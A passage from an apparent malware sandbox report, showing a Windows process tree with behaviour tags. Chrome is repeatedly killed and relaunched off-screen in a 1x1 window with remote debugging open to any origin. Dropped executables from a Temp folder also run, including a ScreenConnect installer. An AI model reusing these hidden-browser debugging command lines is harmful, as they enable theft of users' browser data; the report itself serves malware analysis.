                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2892,i,15248299275539040048,244856669477809662,2097152 --field-trial-handle=2456,i,3184092260198696041,7708768544671047253,262144 --variations-seed-version --mojo-platform-channel-handle=2968 /prefetch:1
                                                                        7⤵
                                                                        • Uses browser remote debugging
                                                                        PID:7708
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3792,i,10732633096668960375,9829846159038354397,2097152 --field-trial-handle=2456,i,3184092260198696041,7708768544671047253,262144 --variations-seed-version --mojo-platform-channel-handle=3816 /prefetch:9
                                                                        7⤵
                                                                        • Uses browser remote debugging
                                                                        PID:7804
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4220,i,12122812638795845594,12498628930849491331,524288 --field-trial-handle=2456,i,3184092260198696041,7708768544671047253,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:14
                                                                        7⤵
                                                                          PID:2540
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4188,i,8326047776667055719,8680211105058869741,524288 --field-trial-handle=2456,i,3184092260198696041,7708768544671047253,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:14
                                                                          7⤵
                                                                            PID:1076
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4300,i,5798601581117420099,5174892642337769815,2097152 --field-trial-handle=2456,i,3184092260198696041,7708768544671047253,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:1
                                                                            7⤵
                                                                            • Uses browser remote debugging
                                                                            PID:6008
                                                                        • C:\Windows\SYSTEM32\taskkill.exe
                                                                          taskkill /F /IM chrome.exe
                                                                          6⤵
                                                                          • Kills process with taskkill
                                                                          PID:6044
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                          6⤵
                                                                          • Uses browser remote debugging
                                                                          PID:6948
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                                                            7⤵
                                                                              PID:3568
                                                                          • C:\Windows\SYSTEM32\taskkill.exe
                                                                            taskkill /F /IM chrome.exe
                                                                            6⤵
                                                                            • Kills process with taskkill
                                                                            PID:5628
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                            6⤵
                                                                            • Uses browser remote debugging
                                                                            PID:6800
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                                                              7⤵
                                                                                PID:7160
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1592,i,16243157329297508669,10357773200645010435,262144 --field-trial-handle=2084,i,8445509078787632958,2079425522990062620,262144 --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:2
                                                                                7⤵
                                                                                  PID:7148
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1456,i,14932917189526543489,9549783062067212437,524288 --field-trial-handle=2084,i,8445509078787632958,2079425522990062620,262144 --variations-seed-version --mojo-platform-channel-handle=2088 /prefetch:11
                                                                                  7⤵
                                                                                  • System Time Discovery
                                                                                  PID:6876
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2220,i,17948825356458752692,15557130507361421529,524288 --field-trial-handle=2084,i,8445509078787632958,2079425522990062620,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:13
                                                                                  7⤵
                                                                                    PID:7468
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2908,i,11677793457737016349,16233806487783977799,2097152 --field-trial-handle=2084,i,8445509078787632958,2079425522990062620,262144 --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:1
                                                                                    7⤵
                                                                                    • Uses browser remote debugging
                                                                                    PID:6764
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2920,i,559947964203874974,13133240298658348472,2097152 --field-trial-handle=2084,i,8445509078787632958,2079425522990062620,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:1
                                                                                    7⤵
                                                                                    • Uses browser remote debugging
                                                                                    PID:6816
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4004,i,8782790101148045663,4100136188270405439,2097152 --field-trial-handle=2084,i,8445509078787632958,2079425522990062620,262144 --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:9
                                                                                    7⤵
                                                                                    • Uses browser remote debugging
                                                                                    PID:7548
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=3984,i,3658313017246941463,9974239163375745937,524288 --field-trial-handle=2084,i,8445509078787632958,2079425522990062620,262144 --variations-seed-version --mojo-platform-channel-handle=3396 /prefetch:14
                                                                                    7⤵
                                                                                      PID:2772
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4220,i,2874170214944988495,8918144408941432592,524288 --field-trial-handle=2084,i,8445509078787632958,2079425522990062620,262144 --variations-seed-version --mojo-platform-channel-handle=4228 /prefetch:14
                                                                                      7⤵
                                                                                        PID:6992
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4284,i,9785394990159865287,7345523785183562762,2097152 --field-trial-handle=2084,i,8445509078787632958,2079425522990062620,262144 --variations-seed-version --mojo-platform-channel-handle=4312 /prefetch:1
                                                                                        7⤵
                                                                                        • Uses browser remote debugging
                                                                                        PID:5288
                                                                                    • C:\Windows\SYSTEM32\taskkill.exe
                                                                                      taskkill /F /IM chrome.exe
                                                                                      6⤵
                                                                                      • Kills process with taskkill
                                                                                      PID:6952
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                      6⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:7824
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                                                                        7⤵
                                                                                          PID:7920
                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                        taskkill /F /IM chrome.exe
                                                                                        6⤵
                                                                                        • Kills process with taskkill
                                                                                        PID:4272
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                        6⤵
                                                                                        • Uses browser remote debugging
                                                                                        PID:5232
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                                                                          7⤵
                                                                                            PID:7684
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1584,i,10053050212823279767,12783027349587399497,262144 --field-trial-handle=2432,i,15186536191449977456,2242410999511270705,262144 --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:2
                                                                                            7⤵
                                                                                              PID:8172
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1780,i,9535443579988088957,12821556881562979843,524288 --field-trial-handle=2432,i,15186536191449977456,2242410999511270705,262144 --variations-seed-version --mojo-platform-channel-handle=2436 /prefetch:11
                                                                                              7⤵
                                                                                              • System Time Discovery
                                                                                              PID:2988
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1968,i,7545382051307837410,13724210428265179512,524288 --field-trial-handle=2432,i,15186536191449977456,2242410999511270705,262144 --variations-seed-version --mojo-platform-channel-handle=2452 /prefetch:13
                                                                                              7⤵
                                                                                                PID:3232
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2888,i,1090208869242715338,2226345989710041637,2097152 --field-trial-handle=2432,i,15186536191449977456,2242410999511270705,262144 --variations-seed-version --mojo-platform-channel-handle=2904 /prefetch:1
                                                                                                7⤵
                                                                                                • Uses browser remote debugging
                                                                                                PID:1412
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2912,i,15603947436565398377,3190718002337757845,2097152 --field-trial-handle=2432,i,15186536191449977456,2242410999511270705,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:1
                                                                                                7⤵
                                                                                                • Uses browser remote debugging
                                                                                                PID:6760
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3980,i,10284737842202036464,16995097081244876110,2097152 --field-trial-handle=2432,i,15186536191449977456,2242410999511270705,262144 --variations-seed-version --mojo-platform-channel-handle=3996 /prefetch:9
                                                                                                7⤵
                                                                                                • Uses browser remote debugging
                                                                                                PID:4468
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4196,i,17483600817221719198,2666773613187214781,524288 --field-trial-handle=2432,i,15186536191449977456,2242410999511270705,262144 --variations-seed-version --mojo-platform-channel-handle=2848 /prefetch:14
                                                                                                7⤵
                                                                                                  PID:6988
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4252,i,10624193006498364569,11585693278383095382,524288 --field-trial-handle=2432,i,15186536191449977456,2242410999511270705,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:14
                                                                                                  7⤵
                                                                                                    PID:7492
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3944,i,15582066767973245284,14810389192131203630,2097152 --field-trial-handle=2432,i,15186536191449977456,2242410999511270705,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:1
                                                                                                    7⤵
                                                                                                    • Uses browser remote debugging
                                                                                                    PID:7372
                                                                                                • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                  taskkill /F /IM chrome.exe
                                                                                                  6⤵
                                                                                                  • Kills process with taskkill
                                                                                                  PID:7212
                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                    7⤵
                                                                                                      PID:6412
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                    6⤵
                                                                                                    • Uses browser remote debugging
                                                                                                    PID:7316
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                                                                                      7⤵
                                                                                                        PID:1012
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1604,i,14462788474512787958,740145083763492829,262144 --field-trial-handle=2040,i,16115867216849424374,11293745348394663532,262144 --variations-seed-version --mojo-platform-channel-handle=2036 /prefetch:2
                                                                                                        7⤵
                                                                                                          PID:7792
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1836,i,14458767172306803815,6576932348707183222,524288 --field-trial-handle=2040,i,16115867216849424374,11293745348394663532,262144 --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:11
                                                                                                          7⤵
                                                                                                          • System Time Discovery
                                                                                                          PID:6808
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2156,i,15907281825044718735,8053415903097641698,524288 --field-trial-handle=2040,i,16115867216849424374,11293745348394663532,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:13
                                                                                                          7⤵
                                                                                                            PID:7964
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2920,i,3959009201765391454,13202895392769258493,2097152 --field-trial-handle=2040,i,16115867216849424374,11293745348394663532,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:1
                                                                                                            7⤵
                                                                                                            • Uses browser remote debugging
                                                                                                            PID:2592
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2940,i,5379517828519867669,2290487420808468819,2097152 --field-trial-handle=2040,i,16115867216849424374,11293745348394663532,262144 --variations-seed-version --mojo-platform-channel-handle=2936 /prefetch:1
                                                                                                            7⤵
                                                                                                            • Uses browser remote debugging
                                                                                                            PID:2492
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3996,i,16698359952378618294,6207326692153061357,2097152 --field-trial-handle=2040,i,16115867216849424374,11293745348394663532,262144 --variations-seed-version --mojo-platform-channel-handle=4024 /prefetch:9
                                                                                                            7⤵
                                                                                                            • Uses browser remote debugging
                                                                                                            PID:1760
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4200,i,16217662058945628139,6600532764050382729,524288 --field-trial-handle=2040,i,16115867216849424374,11293745348394663532,262144 --variations-seed-version --mojo-platform-channel-handle=2876 /prefetch:14
                                                                                                            7⤵
                                                                                                              PID:6832
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4228,i,1579546125556130625,11021190151613085686,524288 --field-trial-handle=2040,i,16115867216849424374,11293745348394663532,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:14
                                                                                                              7⤵
                                                                                                                PID:7640
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4304,i,8584214444860999418,13914061509446303253,2097152 --field-trial-handle=2040,i,16115867216849424374,11293745348394663532,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:1
                                                                                                                7⤵
                                                                                                                • Uses browser remote debugging
                                                                                                                PID:7580
                                                                                                            • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                              taskkill /F /IM chrome.exe
                                                                                                              6⤵
                                                                                                              • Kills process with taskkill
                                                                                                              PID:6360
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                              6⤵
                                                                                                              • Uses browser remote debugging
                                                                                                              PID:7184
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff81078c728,0x7ff81078c734,0x7ff81078c740
                                                                                                                7⤵
                                                                                                                  PID:6828
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe"
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:4680
                                                                                                            • C:\Windows\SysWOW64\msiexec.exe
                                                                                                              "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\4888ccad3aff3783\ScreenConnect.ClientSetup.msi"
                                                                                                              5⤵
                                                                                                              • Enumerates connected drives
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                              PID:4664
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Files\PDFConverter_P2W154-zx-666.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Files\PDFConverter_P2W154-zx-666.exe"
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:3336
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Files\yx_dts.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Files\yx_dts.exe"
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:2032
                                                                                                            • C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" SW_SHOWNORMAL
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:964
                                                                                                            • C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe
